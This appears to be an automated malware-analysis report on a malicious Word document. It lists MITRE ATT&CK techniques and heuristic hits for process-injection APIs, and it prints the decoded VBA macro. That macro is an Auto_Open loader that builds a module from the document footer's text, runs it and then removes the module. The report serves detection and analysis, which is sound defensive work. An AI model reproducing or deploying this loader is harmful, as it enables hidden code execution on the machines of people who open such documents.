MALICIOUS
238
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample is a malicious Office document containing VBA macros. The Auto_Open macro dynamically adds a new module to the document's VBA project and executes a function named 'VeybC' from it. This technique is commonly used to obfuscate malicious code and download/execute further stages. The presence of CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread API calls further supports the payload execution intent.
Heuristics 9
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Attribute VB_Name = "MyDocument" Sub Auto_Open() Dim hkpdJ As Object -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 682 bytes |
SHA-256: 7c1065a3c83f234d4c7a03dc291ce9346da78ae83e862c1074a0f8da5c1d06b3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "MyDocument"
Sub Auto_Open()
Dim hkpdJ As Object
Set hkpdJ = ActiveDocument.VBProject.VBComponents.Add(1)
hkpdJ.CodeModule.AddFromString ActiveDocument.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text
Application.Run hkpdJ.Name & ".VeybC"
ActiveDocument.VBProject.VBComponents.Remove hkpdJ
End Sub
Sub AutoOpen()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.